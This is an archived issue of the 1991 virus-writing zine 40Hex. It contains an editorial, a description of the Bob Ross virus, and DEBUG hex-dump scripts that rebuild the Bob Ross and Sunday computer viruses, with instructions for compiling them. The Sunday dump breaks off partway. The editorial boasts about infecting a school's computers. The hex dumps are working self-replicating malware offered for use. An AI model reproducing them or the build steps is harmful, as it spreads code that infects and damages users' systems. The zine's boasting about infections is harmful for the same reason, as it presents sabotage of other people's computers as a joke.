home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / 40HEXX.ZIP / 40HEX004 < prev    next >
Text File  |  1998-01-21  |  93KB  |  2,557 lines

  1. 40Hex Issue 4                                            December 1991
  2.  
  3.  
  4.                                  Index
  5.                                  -----
  6.  
  7.  
  8. 001.....................................................USA Virus News
  9. 002.................................................The Bob Ross virus
  10. 003...................................................The Sunday Virus
  11. 004...................................................The Terror Virus
  12. 005...............................................Virus Survay Artical
  13. 006.................................................The Typo COM virus
  14. 007.....................................................From Johns BBS
  15. 008.................................................The Marauder Virus
  16. 009................................................Pklite Scan Strings
  17. 010...............................................Encryption Defeating
  18. 011...............................................The Ultimate Toolkit
  19. 012..............................................Tequilla Virus Source
  20. 013...................................................................
  21. 014...................................................Is This The End?
  22.  
  23.  
  24. Thanks to:
  25.            Shade of Sorrow, Demogorgon, Dark Angel, Count Zero,
  26.            Piff', Paragon Dude (and the rest of Phalcon), Blade Runner,
  27.            The Fisch, Instigator, Decimator, Dr. Logic, Venom/Hate (and
  28.            all the QSD/Lutz crowd), God, Amiga Factor, all the people
  29.            from the city, and all I forgot...
  30.  
  31.  
  32. 40Hex Issue 4                                            December 1991
  33.  
  34.                                Whats New
  35.                                ---------
  36.  
  37.      Well a lot of things been going on this month.  Well I've been
  38.      really lazy lately and haven't gotten around to writing this issue
  39.      for over two months I guess.  Well let me tell you whats been going
  40.      on.
  41.  
  42.      Let me take the time now to address these lame fucking people who,
  43.      if they had 9600+ modems, would be wares puppies, but being they
  44.      have a 2400 they decide to practice there leeching habits on
  45.      viruses.  They are the virus collectors, they ones who never run
  46.      the damn things, just add them to there collection and upload them
  47.      here and there to be really, as they say, "K-K00\_."  Please
  48.      mother fuckers, stop.  I mean look at the Red Cross virus, does
  49.      anyone have the real copy of it?  Some lame ass collector found
  50.      something that scanned as Red-X and was "/> a |)" enough to upload
  51.      it everywhere.  Please, give it up.  Virus BBS's are a great thing,
  52.      and without them we would be lost, but by the same tolken these
  53.      collectors, or as someone once said, "Micro-Wares Puppies," must
  54.      get with the program or die.
  55.  
  56.      Well second of all, I've been calling The Homebase quite a bit
  57.      lately and came to one conclusion, people are dumb.  Look in this
  58.      issue for some scroll backs of stupid things people have posted on
  59.      that BBS this month or so.
  60.  
  61.      The Bob Ross virus has been released in the mist, so watch what you
  62.      D/L.  Hmmmm, I think SCAN 85 caught it, but that will change soon,
  63.      right DA?
  64.  
  65.      Funny story.  I infected my schools computer with several viruses
  66.      before I transferred out.  Well what I heard happened from that is
  67.      this.  They somehow could not get the viruses to dissapper no
  68.      matter what they did.  Incedently it was Whale and some other
  69.      viruses. Anyway, out of the fustration of the viruses reappering
  70.      all the time, they decided to out and get rid of all the hard
  71.      drives.  So they removed all the hard drives from all the systems
  72.      and put them in storage.  Anyway, they finally got a virus expert
  73.      to come it, he said that they didn't have to get rid of the hard
  74.      drives he can rid the viruses.  Well to late.  The art department
  75.      had got a hold of them and wealded them together into one big
  76.      statue!  Thousands of dollars worth of hardware down they drain.
  77.      The school was so embarressed at the whole thing they shipped the
  78.      statue way out of state where so everybody would soon forget this
  79.      screwup.  Thanks to Shade of Sorrow for finding that one out for
  80.      me.
  81.  
  82.      SCAN 85 _is_ out, 'nuff said.
  83.  
  84.      Bet you all heard the story about Novell and Stoned III?  If not
  85.      this is the run down.  Novell got infected by Stoned III.  Novell
  86.      distributed infected copies of the December update to everyone.
  87.      That's the story.
  88.  
  89. 40Hex Issue 4                                            December 1991
  90.  
  91.                            The Bob Ross Virus
  92.  
  93. This is the infamous Bob Ross virus by Dark Angel of Phalcon/Skism.
  94.  
  95. Here's a bit from the author first.
  96.  
  97.  The Funky Bob Ross Virus Version 1.0
  98.  Written by Dark Angel / 26 September 1991 / (c) 1991
  99.  PHALCON/SKISM Co-op
  100.  Effective length: 1125, Resident length: 672 bytes
  101.  
  102.  DEDICATION:
  103.    This virus was written expressedly to
  104.       1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
  105.          other guru-wanna-bes in this world.
  106.       2) Spread the message of The Almighty Bob, and so enrichen the lives
  107.          of people all over the world.
  108.       3) Show off (Now I can tell people that I wrote a virus!)
  109.  
  110.  WHAT THIS IS:
  111.    This is a self-encrypting, non-overwriting COM infector.  It doesn't do
  112.    anything to EXE files.  File sizes increase by 1117 bytes.  It goes off
  113.    on July 9th of any year or after 7 infection "waves."
  114.  
  115.  WHAT IT DOES WHEN IT GOES OFF:
  116.    The virus goes memory resident and prints out a Bobism every 5 minutes.
  117.    It then enters a delay loop for approximately 5 seconds, allowing for a
  118.    brief moment of silence while the victim reads Bob's holy message.  The
  119.    virus will not destroy anything.  The virus will not go TSR if it finds
  120.    another copy of itself in memory.
  121.  
  122.   
  123.  Well, here it is, the hex dump, by now you should know how to compile
  124.  it from the hex dump.
  125.  
  126. -------------------------------------------------------------------------------
  127. n bob-ross.com
  128. e 0100  FF 26 04 01 D0 08 C8 07 00 00 00 00 00 00 00 00
  129. e 0110  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  130. e 0120  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  131. e 0130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  132. e 0140  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  133. e 0150  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  134. e 0160  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  135. e 0170  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  136. e 0180  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  137. e 0190  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  138. e 01A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  139. e 01B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  140. e 01C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  141. e 01D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  142. e 01E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  143. e 01F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  144. e 0200  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  145. e 0210  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  146. e 0220  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  147. e 0230  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  148. e 0240  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  149. e 0250  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  150. e 0260  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  151. e 0270  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  152. e 0280  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  153. e 0290  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  154. e 02A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  155. e 02B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  156. e 02C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  157. e 02D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  158. e 02E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  159. e 02F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  160. e 0300  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  161. e 0310  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  162. e 0320  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  163. e 0330  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  164. e 0340  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  165. e 0350  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  166. e 0360  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  167. e 0370  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  168. e 0380  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  169. e 0390  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  170. e 03A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  171. e 03B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  172. e 03C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  173. e 03D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  174. e 03E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  175. e 03F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  176. e 0400  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  177. e 0410  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  178. e 0420  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  179. e 0430  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  180. e 0440  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  181. e 0450  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  182. e 0460  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  183. e 0470  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  184. e 0480  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  185. e 0490  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  186. e 04A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  187. e 04B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  188. e 04C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  189. e 04D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  190. e 04E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  191. e 04F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  192. e 0500  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  193. e 0510  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  194. e 0520  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  195. e 0530  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  196. e 0540  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  197. e 0550  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  198. e 0560  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  199. e 0570  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  200. e 0580  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  201. e 0590  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  202. e 05A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  203. e 05B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  204. e 05C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  205. e 05D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  206. e 05E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  207. e 05F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  208. e 0600  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  209. e 0610  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  210. e 0620  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  211. e 0630  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  212. e 0640  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  213. e 0650  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  214. e 0660  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  215. e 0670  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  216. e 0680  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  217. e 0690  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  218. e 06A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  219. e 06B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  220. e 06C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  221. e 06D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  222. e 06E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  223. e 06F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  224. e 0700  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  225. e 0710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  226. e 0720  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  227. e 0730  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  228. e 0740  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  229. e 0750  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  230. e 0760  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  231. e 0770  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  232. e 0780  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  233. e 0790  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  234. e 07A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  235. e 07B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  236. e 07C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  237. e 07D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  238. e 07E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  239. e 07F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  240. e 0800  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  241. e 0810  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  242. e 0820  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  243. e 0830  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  244. e 0840  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  245. e 0850  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  246. e 0860  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  247. e 0870  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  248. e 0880  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  249. e 0890  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  250. e 08A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  251. e 08B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  252. e 08C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 CD 20
  253. e 08D0  FC E8 0A 00 BE D3 01 03 36 06 01 FF E6 B6 BE 15
  254. e 08E0  01 03 36 06 01 8A 24 B9 23 04 83 C6 2D 90 8B FE
  255. e 08F0  AC 32 C4 AA E2 FA C3 56 E8 E3 FF B9 5D 04 5A 83
  256. e 0900  C2 B5 90 B4 40 CD 21 E8 D4 FF 75 5F 7D B1 B6 B6
  257. e 0910  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  258. e 0920  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  259. e 0930  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  260. e 0940  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  261. e 0950  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 EA
  262. e 0960  B6 9C 98 D5 D9 DB B6 9C 98 9C B6 98 98 B6 B6 B6
  263. e 0970  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  264. e 0980  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
  265. e 0990  B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 37 70 C6 49 3D
  266. e 09A0  48 35 71 BE 0F BE B6 45 12 02 F1 84 64 35 70 BC
  267. e 09B0  7B 97 C4 9C 02 8D 3D 60 35 74 F4 7B 97 C4 A9 35
  268. e 09C0  70 F6 48 B2 E0 35 70 B7 70 B2 B5 5E A9 B6 E8 36
  269. e 09D0  8A B1 CB BB 02 9C 7B 97 37 4C BF B1 C2 B5 5F A0
  270. e 09E0  B4 5F 11 B7 B6 B6 B6 B6 B6 B6 B6 B6 B6 E3 3D 5A
  271. e 09F0  35 5A 9A E0 5D C6 26 02 AC 3B E0 62 7B 97 02 F8
  272. e 0A00  0F A6 B6 0C 29 B7 B5 A0 B0 B7 7B 97 5D 90 36 C8
  273. e 0A10  44 98 C2 A3 3B E0 44 02 8D 7B 97 C4 BA 08 10 B7
  274. e 0A20  B5 80 B0 B7 49 B2 5E 72 49 3B E0 62 02 AC 7B 97
  275. e 0A30  02 F9 7B 97 C5 6E 08 10 B7 B5 80 B0 B7 35 8A B6
  276. e 0A40  C8 BB 49 BA 0C 15 B7 B5 A0 B0 B7 02 8D 7B 97 E8
  277. e 0A50  3D 53 EB 75 5F 16 B7 08 10 B7 B5 80 B0 B7 71 B2
  278. e 0A60  B6 B6 5D 5D 5D 27 02 AC 0C 1E B7 B5 A0 B0 B7 7B
  279. e 0A70  97 02 F8 0F B1 B6 0C 2F B7 B5 A0 B0 B7 7B 97 C4
  280. e 0A80  55 5D A4 26 08 20 B7 B5 80 B0 B7 48 BA C2 7E 02
  281. e 0A90  F9 7B 97 C4 79 08 7A B7 B5 80 B0 B7 36 8A F2 C2
  282. e 0AA0  58 0E B6 8B 3D 60 35 5C B0 7B 97 C4 54 25 02 89
  283. e 0AB0  0F BE B6 0C F5 B7 B5 A0 B0 B7 E4 7B 97 E8 E0 1B
  284. e 0AC0  8B 49 90 C3 A2 1B 8B B2 B7 C3 B8 E8 02 88 7B 97
  285. e 0AD0  5D 0B E6 FE F7 FA F5 F9 F8 E8 35 70 CC 3D 48 35
  286. e 0AE0  71 E9 12 13 13 13 35 CA 48 BE 26 CA 69 02 9A 7B
  287. e 0AF0  97 B4 60 C2 4E 08 A3 B7 B5 80 B0 B7 3E A2 0E B7
  288. e 0B00  F5 85 7F 3D 60 37 74 07 B6 7B 97 02 88 7B 97 0E
  289. e 0B10  B4 8B 7B 97 C4 00 3D 4C 35 71 EB 1D 25 02 F6 0F
  290. e 0B20  B2 B6 0C B6 B7 7B 97 02 F6 3D 41 35 70 4A 37 B2
  291. e 0B30  B6 B7 0F B4 B6 3D 60 7B 97 3D B2 9B BE B7 37 70
  292. e 0B40  84 49 E0 3F B2 02 F6 0F B4 B6 3D 60 7B 97 0E B4
  293. e 0B50  F4 85 7F 85 64 7B 97 5E 2B 4B E8 37 70 66 B6 3D
  294. e 0B60  AA 0E B7 E1 35 70 4C 3D BA 35 70 B4 3D A2 7B 97
  295. e 0B70  02 88 7B 97 0E B7 F5 84 5B 35 70 4B 3C BA 3D 60
  296. e 0B80  35 74 1C 7B 97 5F 4A 48 5D DB 26 B0 98 70 B0 B6
  297. e 0B90  B7 B6 85 6D 3A 7E F5 38 75 8D 75 C2 B9 08 B6 B7
  298. e 0BA0  3D 48 0F B2 B6 45 10 C3 5B 5D FD 26 B1 98 71 B0
  299. e 0BB0  BE B7 16 A2 98 71 B0 A6 B7 B7 B6 08 E5 B2 B5 80
  300. e 0BC0  B0 B7 09 A4 B7 0F A4 B7 45 12 0E BE 83 7B 97 98
  301. e 0BD0  3F A8 B2 B7 98 3A B0 B0 B7 0E BE 93 0C A4 B7 7B
  302. e 0BE0  97 B0 17 9A B6 38 76 02 FF 7B 97 B1 0E B6 87 0C
  303. e 0BF0  9C B6 7B 97 7B 96 B1 02 8D 0C 21 B7 B5 A0 B0 B7
  304. e 0C00  7B 97 02 8D 35 74 08 7B 97 3D 44 35 70 40 09 B6
  305. e 0C10  B7 0F BE B6 45 12 09 B6 B7 49 51 E6 E5 E7 E4 E0
  306. e 0C20  A8 B0 2A 98 49 B8 BE B7 C3 FB 98 71 B0 BE B7 26
  307. e 0C30  B7 B8 A9 B8 B1 08 CD B7 98 3D B8 A6 B7 84 52 1A
  308. e 0C40  B5 46 54 4D 1A 31 43 85 7F 3C 7E 0E B6 A5 0D C6
  309. e 0C50  B6 85 64 7B A6 98 49 B0 A6 B7 98 35 88 A6 B7 B1
  310. e 0C60  C3 B1 98 71 B0 A6 B7 B7 B6 0F 86 B6 E7 0F 49 49
  311. e 0C70  54 48 EF 54 41 31 43 2B B1 A9 E8 EC EF ED EE 98
  312. e 0C80  49 98 B2 B7 B6 B9 F4 D9 D4 96 E4 D9 C5 C5 96 DA
  313. e 0C90  DF C0 D3 C5 97 A3 F4 D9 D4 96 E4 D9 C5 C5 96 DF
  314. e 0CA0  C5 96 C1 D7 C2 D5 DE DF D8 D1 97 A0 FB D7 CF D4
  315. e 0CB0  D3 96 DE D3 96 DA DF C0 D3 C5 96 DE D3 C4 D3 98
  316. e 0CC0  98 98 AC E1 DE D7 C2 96 D7 96 DE D7 C6 C6 CF 96
  317. e 0CD0  DA DF C2 C2 DA D3 96 D5 DA D9 C3 D2 97 90 FB D7
  318. e 0CE0  CF D4 D3 96 DE D3 96 DE D7 C5 96 D7 96 D8 D3 DF
  319. e 0CF0  D1 DE D4 D9 C3 C4 96 C4 DF D1 DE C2 96 DE D3 C4
  320. e 0D00  D3 98 98 98 9E EF D9 C3 96 D5 D7 D8 96 DB D7 DD
  321. e 0D10  D3 96 C3 C6 96 C5 C2 D9 C4 DF D3 C5 96 D7 C5 96
  322. e 0D20  CF D9 C3 96 D1 D9 96 D7 DA D9 D8 D1 98 1A 1A 1A
  323. rcx
  324. C2D
  325. w
  326. q
  327. --------------------------------------------------------------------------------
  328.  
  329. The virus itself is only 1125 bytes, this file is 3125 to account for an
  330. infected file.
  331.  
  332. Scan 85 detects it as the [Beta] virus, but strain-b will be out soon.
  333.  
  334.  
  335. 40Hex Issue 4                                            December 1991
  336.  
  337.  
  338.                              The Sunday Virus
  339.  
  340.         According to Patty Hoffman, the Sunday virus is based on the 
  341. Jerusalem viruses, because the codes for both viruses are similar.  
  342. Sunday infects COM, EXE, and OVL files, when they are executed, and it 
  343. stays resident in memory.  It was circulated around the Seattle, 
  344. Washington area in 1989, and is quite common.  Sunday can be picked up 
  345. by almost every scanner out there.  The SCAN ID code for this virus  
  346. is "CD 21 80 FC 04 75 10" in lines 01E0 and 01F0.
  347.         This version of Sunday doesn't seem to print any messages on 
  348. the screen, however, some versions do, every Sunday.  This virus 
  349. spreads rapidly, and replicates quite well. 
  350.  
  351.  
  352.       To create SUNDAY.COM, cut out the following code, and name the 
  353. resulting file sunday.txt.  Then, use this command:  DEBUG < SUNDAY.TXT
  354.  
  355.                                                        --DecimatoR
  356.  
  357. -------------------------------------------------------------------------------
  358. n sunday.com
  359. e 0100  E9 92 00 59 57 C8 F7 E1 EE E7 00 01 4C 1E 00 00  
  360. e 0110  00 02 00 AB 00 0C 13 16 17 C7 02 BF 05 3A 1E 63  
  361. e 0120  79 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06  
  362. e 0130  5F BD 1D 80 00 00 00 80 00 BD 1D 5C 00 BD 1D 6C  
  363. e 0140  00 BD 1D 00 0A 95 22 29 00 00 00 00 F0 02 00 4D  
  364. e 0150  5A 87 01 14 01 ED 05 80 01 23 0B FF FF 8C 20 C0  
  365. e 0160  06 89 19 C6 00 8C 20 1E 00 00 00 00 00 00 00 00  
  366. e 0170  05 00 20 00 29 15 01 79 00 02 10 00 C0 20 02 00  
  367. e 0180  54 61 28 99 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 01  
  368. e 0190  00 00 00 00 00 FC 06 B8 00 00 8E C0 26 A1 84 00  
  369. e 01A0  07 3D 4C 02 75 10 B4 DD BF 00 01 BE C2 06 03 F7  
  370. e 01B0  2E 8B 4D 11 CD 21 8C C8 05 10 00 8E D0 BC C0 06  
  371. e 01C0  50 B8 C6 00 50 CB FC 06 2E 8C 06 31 00 2E 8C 06  
  372. e 01D0  39 00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10  
  373. e 01E0  00 2E 01 06 49 00 2E 01 06 45 00 B4 FF CD 21 80  
  374. e 01F0  FC 04 75 10 07 2E 8E 16 45 00 2E 8B 26 43 00 2E  
  375. e 0200  FF 2E 47 00 33 C0 8E C0 BB FC 03 26 8B 07 2E A3  
  376. e 0210  4B 00 26 8A 47 02 2E A2 4D 00 26 C7 07 F3 A5 26  
  377. e 0220  C6 47 02 CB 58 05 10 00 8E C0 0E 1F B9 C2 06 D1  
  378. e 0230  E9 33 F6 8B FE 06 B8 3E 01 50 FF 2E 59 06 8C C8  
  379. e 0240  8E D0 BC C0 06 33 C0 8E D8 2E A1 4B 00 89 07 2E  
  380. e 0250  A0 4D 00 88 47 02 8B DC B1 04 D3 EB 83 C3 20 83  
  381. e 0260  E3 F0 2E 89 1E 33 00 B4 4A 2E 8E 06 31 00 CD 21  
  382. e 0270  B8 21 35 CD 21 2E 89 1E 17 00 2E 8C 06 19 00 0E  
  383. e 0280  1F BA 4C 02 B8 21 25 CD 21 8E 06 31 00 26 8E 06  
  384. e 0290  2C 00 33 FF B9 FF 7F 32 C0 F2 AE 26 38 05 E0 F9  
  385. e 02A0  8B D7 83 C2 03 B8 00 4B 06 1F 0E 07 BB 35 00 1E  
  386. e 02B0  06 50 53 51 52 B4 0F CD 10 3C 07 74 07 2E C7 06  
  387. e 02C0  4A 02 00 B8 B8 08 35 CD 21 2E 89 1E 13 00 2E 8C  
  388. e 02D0  06 15 00 0E 1F C7 06 1F 00 E0 79 B8 08 25 BA 0A  
  389. e 02E0  02 CD 21 5A 59 5B 58 07 1F 9C 2E FF 1E 17 00 1E  
  390. e 02F0  07 B4 49 CD 21 B4 4D CD 21 B4 31 BA C2 06 B1 04  
  391. e 0300  D3 EA 83 C2 10 CD 21 32 C0 CF 2E 83 3E 1F 00 00  
  392. e 0310  75 22 1E 06 56 57 50 8D 36 3E 02 0E 1F A1 4A 02  
  393. e 0320  8E C0 BF 00 00 FC A5 A5 A5 A5 A5 A5 58 5F 5E 07  
  394. e 0330  1F EB 06 90 2E FF 0E 1F 00 2E FF 2E 13 00 48 F0  
  395. e 0340  61 F0 21 F0 48 F0 61 F0 21 F0 00 B8 9C 80 FC FF  
  396. e 0350  75 05 B8 00 04 9D CF 80 FC DD 74 0E 3D 00 4B 75  
  397. e 0360  03 EB 21 90 9D 2E FF 2E 17 00 58 58 B8 00 01 2E  
  398. e 0370  A3 0A 00 58 2E A3 0C 00 F3 A4 9D 2E A1 0F 00 2E  
  399. e 0380  FF 2E 0A 00 2E C7 06 70 00 FF FF 2E C7 06 8F 00  
  400. e 0390  00 00 2E 89 16 80 00 2E 8C 1E 82 00 50 53 51 52  
  401. e 03A0  56 57 1E 06 FC 8B FA 32 D2 80 7D 01 3A 75 05 8A  
  402. e 03B0  15 80 E2 1F B4 36 CD 21 3D FF FF 75 03 E9 0F 03  
  403. e 03C0  F7 E3 F7 E1 0B D2 75 05 3D C2 06 72 F0 2E 8B 16  
  404. e 03D0  80 00 1E 07 32 C0 B9 41 00 F2 AE 2E 8B 36 80 00  
  405. e 03E0  8A 04 0A C0 74 0E 3C 61 72 07 3C 7A 77 03 80 2C  
  406. e 03F0  20 46 EB EC 2E 89 36 57 06 B9 0B 00 2B F1 BF 84  
  407. e 0400  00 0E 07 B9 0B 00 F3 A6 75 03 E9 C2 02 2E C6 06  
  408. e 0410  56 06 00 90 2E 8B 36 57 06 8D 3E 55 06 4F 4E 26  
  409. e 0420  8A 05 34 BB 3C 00 74 0D 3A 04 74 F1 2E C6 06 56  
  410. e 0430  06 01 90 EB E8 2E 80 3E 56 06 00 74 16 4F 26 80  
  411. e 0440  3D FF 74 2B 47 2E 8B 36 57 06 2E C6 06 56 06 00  
  412. e 0450  90 EB CA 07 1F 5F 5E 5A 59 5B 58 33 C9 B8 01 43  
  413. e 0460  CD 21 B4 41 CD 21 B8 00 4B 9D 2E FF 2E 17 00 B8  
  414. e 0470  00 43 CD 21 72 05 2E 89 0E 72 00 72 25 32 C0 2E  
  415. e 0480  A2 4E 00 1E 07 8B FA B9 41 00 F2 AE 80 7D FE 4D  
  416. e 0490  74 0B 80 7D FE 6D 74 05 2E FE 06 4E 00 B8 00 3D  
  417. e 04A0  CD 21 72 7C 2E A3 70 00 8B D8 B8 02 42 B9 FF FF  
  418. e 04B0  BA FB FF CD 21 72 EB 05 05 00 2E A3 11 00 B9 05  
  419. e 04C0  00 BA 6B 00 8C C8 8E D8 8E C0 B4 3F CD 21 8B FA  
  420. e 04D0  BE 05 00 F3 A6 74 22 B0 00 B9 00 00 BA 00 00 B4  
  421. e 04E0  42 CD 21 8D 16 DD 05 B9 14 00 B4 3F CD 21 81 3E  
  422. e 04F0  EF 05 89 19 75 0A E9 91 01 B4 3E CD 21 E9 CF 01  
  423. e 0500  B8 24 35 CD 21 89 1E 1B 00 8C 06 1D 00 BA 07 02  
  424. e 0510  B8 24 25 CD 21 C5 16 80 00 33 C9 B8 01 43 CD 21  
  425. e 0520  72 3B 2E 8B 1E 70 00 B4 3E CD 21 2E C7 06 70 00  
  426. e 0530  FF FF B8 02 3D CD 21 72 24 2E A3 70 00 8C C8 8E  
  427. e 0540  D8 8E C0 8B 1E 70 00 B8 00 57 CD 21 89 16 74 00  
